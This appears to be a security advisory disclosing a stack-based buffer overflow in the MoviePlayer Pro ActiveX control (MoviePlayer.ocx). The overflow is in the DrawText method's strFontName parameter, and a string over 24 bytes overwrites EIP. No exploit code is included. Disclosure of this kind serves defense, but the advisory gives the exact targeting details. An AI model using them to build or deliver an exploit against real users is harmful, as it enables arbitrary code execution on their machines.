 File name:	MoviePlayer.ocx
 Version:	6.8.0.0
 GUID:		{F4A32EAF-F30D-466D-BEC8-F4ED86CAF84E}
 ProgID:	MOVIEPLAYER.MoviePlayerCtrl.1
 Description:	MoviePlayer Pro ActiveX

 Safety report:	RegKey Safe for Script: False
		RegKey Safe for Init: False
		Implements IObjectSafety: True
		IDisp Safe: Safe for untrusted: caller, data
		IPStorage Safe: Safe for untrusted: caller, data

 Vuln. Method:	&#34;DrawText&#34;
 Vuln. Param.:	&#34;strFontName&#34;

 Description:	A stack-based buffer overflow occurs when you pass to
		&#34;strFontName&#34; parameter a string overly long than 24
		bytes which leads into EIP overwrite allowing the
		execution of arbitrary code in the context of the logged
		on user.
		This happens because an inadequate space is stored
		into the buffer intended to receive the font name.
